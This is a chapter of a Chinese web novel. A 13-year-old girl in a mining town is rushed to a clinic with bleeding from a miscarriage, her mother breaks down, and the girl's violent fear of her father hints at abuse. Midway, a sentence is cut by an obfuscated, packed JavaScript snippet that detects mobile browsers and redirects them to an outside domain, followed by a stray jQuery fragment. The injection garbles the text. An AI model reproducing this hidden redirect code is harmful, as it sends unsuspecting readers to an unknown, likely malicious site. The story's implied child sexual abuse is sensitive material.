王磊心里“咯噔”一下，林菲毫无血色的脸在他眼前一闪而过。
他不敢耽搁，突然想起一个地方——矿区女人们最爱扎堆扯闲篇的露天坝，那儿有棵遮天蔽日的老槐树，女人们拎着小马扎、揣着瓜子在树下，张家长李家短的闲话，比矿上的广播站传得还快。
林菲的妈张小英，更是这儿的常客。
他调转方向，又是一阵狂奔。
绕过堆着废弃矿车的岔路口，远远就看见了那棵繁茂的老槐树，以及树下那几个簇拥在一起的身影。
果然在那儿！
张小英——林菲的妈妈，正裹着一件半旧不新的藏蓝色外套，坐在自带的小马扎上，混在几个同样打扮的大妈中间。
她手里抓着一把瓜子，一边麻利地嗑着，一边听着旁边一个胖大妈眉飞色舞地说着什么，嘴角还挂着一丝心不在焉的笑意。
脚边的地上，已经积了一小堆瓜子皮。
“张婶！张婶！你家林菲出事了！”王磊人还没到，嘶哑的喊声先冲了过去。
树下的叽喳戛然而止。七八张脸同时转过来，目光里掺着惊诧与探寻。
张小英刚扔进嘴里的瓜子顿住，腮帮子鼓着，眼神直勾勾地钉在狂奔而来的王磊身上。
愣了两秒，她才吐出瓜子皮，手里的瓜子“哗啦”撒了一地，她猛地起身，带歪了小马扎：“她咋了？是不是又跟后山那帮混小子打架了？还是逃课去矿坑边野了？”
“都不是！”王磊冲到她跟前，一把拽住她的胳膊就往卫生所方向跑，少年人急红了眼，手劲大得捏得张小英胳膊生疼，“上体育课的时候晕倒了！李老师抱着她往矿卫生所跑，让我赶紧找您过去！”
“晕倒？”张小英的声音突然发颤，脚步踉跄了一下，方才聊闲天的精气神全没了，眼里的慌意像潮水似的涌上来，抓着王磊的袖子追问：“她早上出门还好好的，说早饭喝了两碗粥……是不是低血糖？还是昨天写作业熬太晚了？我就说让她别熬夜，她偏不听……”
“您到卫生所就知道了！再晚就来不及了！”王磊拽着她跑得飞快，张小英的外套被风吹得猎猎作响，她甚至顾不上跟旁边目瞪口呆的姐妹们交代一句，满脑子都是“晕倒”两个字，脚下像踩了棉花，好几次差点绊倒。
路过供销社时，张小英的脚步本能地滞涩一瞬。
昨天林菲写作业时还嘟囔橡皮快用完了……她本想今天下班来买。
可现在，什么橡皮，什么闲话，什么晚上要炖的红烧肉，都被“卫生所”三个字碾得粉碎。
远处卫生所的白墙已经能看见，门口挂着的红十字在夕阳下晃得人眼晕。
张小英甩开王磊的手，几乎是跌跌撞撞地冲过去，声音都变了调：“菲菲！菲菲在哪？”
守在抢救室外的李青和校医王姐闻声心头一紧，快步上前扶住她。
李青刚想开口安抚，抢救室的门“咔哒”一声开了条缝，一位戴口罩的医生探出身，白大褂下摆沾着几点暗红血渍，那颜色看得人心头发紧。
“谁是林菲家属？”他声音透过口罩传出来，急切道，“患者是妊娠八周流产导致的大出血，B型血，血库现存的库存只够应急，需要立即联系血站调血。你们谁能签字？”
张小英脸上的血色霎时褪尽，双腿一软，若非李青和王姐一左一右架住，她当场就能瘫下去。
“不可能……弄错了……肯定弄错了……”她嘴唇哆嗦着，语无伦次，“早上还好好的……说晚上要吃红烧肉……怎么会进抢救室？是不是有人欺负她了？我女儿那么乖……天天上学放学……晚上就在屋里写作业……怎么可能……怎么可能……”
声音猛地哽住，眼泪毫无征兆地滚落，她攥着李老师匆忙递来的纸巾，浑身抖得如同风中枯叶。
“现在不是纠结这个的时候。”医生把同意书和笔递到她面前，语气严肃，“患者的血压还在降，再等下去就来不及了。请您尽快签字，我们才能继续治疗。”
张小英的手颤抖得不成样子，笔尖在纸上划出几道歪扭的痕迹，才勉强签下名字。
签完字，她像被抽空了所有力气，瘫坐在长椅上，双手掩面，肩膀剧烈耸动：“这不可能...…一定是误诊...…菲菲从小就懂事，怎么会做这种糊涂事...…是我没看好她，是我每天忙着上班，没发现她的不对劲...…”
输血袋挂了起来，暗红色的血液顺着透明的管子，一滴滴缓慢地流入林菲的身体。
抢救室里，心电监护仪规律的“滴滴”声，如同催命的钟摆。
这事太过私密，李青让王磊先回学校，自己则坐在张小英身边，轻声问：“林菲最近有没有什么异常？比如胃口不好、情绪低落，或者...…提过什么男生的名字？”
张小英茫然摇头，泪水浸湿了纸巾：“没有...…她一直都很好，就是最近总说胃口差，吃一点就饱，我以为是她学习太累了，还炖了鸡汤给她补身子...…还有，她晚上总关着门写作业，我以为是怕打扰我，现在想想，她是不是在里面偷偷哭？我还骂过她，说她关门关得太紧，不像个省心的……”
她突然抓住李青的手，眼神哀恸得近乎疯狂：“李老师，这一定是误诊对不对？是不是把别的病人的检查报告弄混了？我女儿不会做这种事的，她才十三岁啊...…连男生手都没牵过……”
李青看着她崩溃的样子，心里像堵了一团棉花，安慰的话一句也说不出口。
她想起林菲每次回答问题时怯生生的样子，想起她帮同学捡笔时会先把笔尖朝自己，想起她作文里写“想当一名医生，治好妈妈的咳嗽”，怎么也没法把那个文静又温柔的女孩，和“妊娠流产”这几个冰冷的词联系在一起。
时间在消毒水的气味里缓慢爬行，走廊挂钟的“滴答”声，每一下都敲在人心上。
三个小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560576|186949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时后，抢救室的门再次打开。
医生摘下口罩，眼底布满血丝，连声音都带着无法掩饰的疲惫：“血止住了。患者暂时脱离危险，但失血过多导致身体极度虚弱，后续需要长时间静养，而且...…心理状态也需要关注，家属多开导开导，别刺激她。”
林菲被推出来时已经醒了，她躺在病床上，脸色苍白，嘴唇干裂起皮，连呼吸都透着虚弱。
她眼神空洞地望着天花板，无论张小英如何哽咽着呼唤她的名字，她都拒绝与任何人对视，像一只受惊过度，将自己紧紧封闭起来的蚌壳。
转入普通病房后，林菲更是彻底沉默了。
张小英在一旁演尽了悲喜。时而捶打着床沿，哭嚎“我造了什么孽养出你这么个东西”；时而又压低声音，近乎哀求地哄劝“你说出来，妈不怪你，妈给你做主”；时而又面目狰狞地威胁“你再不吭声，我就去学校闹，让所有人都知道你干的丑事”！
林菲始终面朝墙壁，后背绷得像块铁板，眼皮都没多抬一下，像个抽走了灵魂的瓷娃娃，只剩下一具苍白、安静、会呼吸的躯壳。
在这片令人窒息的沉默里，林菲的爸爸林恩华的存在，反倒成了唯一一点看似正常的色彩。
他是矿上的掘井工，常年在暗无天日的井下劳作，身上总带着洗不尽的尘土与寒意。
每次下工，他都径直赶来卫生所，工装都来不及换，手里不是拎着封面花哨的言情小说，就是揣着几个苹果，然后坐在床边，笨拙地拿起水果刀。
他削苹果的手法很生涩，苹果皮断了好几次，好不容易削完，切成瓣码在饭盒盖里，晶莹剔透的，可往往放到氧化发黄，也等不来女儿碰一下。
最怪的还在守夜这事上。
白天林恩华在病房里待着，林菲虽不言语，尚算平静；可一到晚上，只要林恩华流露出丝毫留下的意图，林菲就像被点了引信的炮仗，整个人瞬间炸开来，歇斯底里地哭闹，抓起枕头砸向他，甚至疯狂地去拔手背上的输液针，尖叫声撕裂病房的宁静：“你走！滚出去！我不想看见你！你再不走我就死！我死给你看！”
夫妻俩面面相觑，终究拗不过女儿这股狠劲。
无奈，只得换成林恩华守白天，张小英守夜晚。
每次林恩华在夜幕中离开时，总会停在病房门口，回头望向女儿那道固执的背影，黝黑的脸上情绪翻涌，最终化作一声沉重的叹息，融入外面的黑暗。
班主任李青心里揣着个沉甸甸的谜团，只要没课，就会拎着作业本过来探望。
她坐在床边，绞尽脑汁地说些学校的趣事，偶尔小心翼翼地旁敲侧击：“林菲，上次你说想借的那本《城南旧事》，老师给你带来了，你要不要看？”
话音未落，瞥见林菲骤然绷紧的侧脸和更加空洞的眼神，李青立刻刹住话头，慌忙转圜：“不看也没关系，老师读给你听？英子小时候也很乖，像你一样……”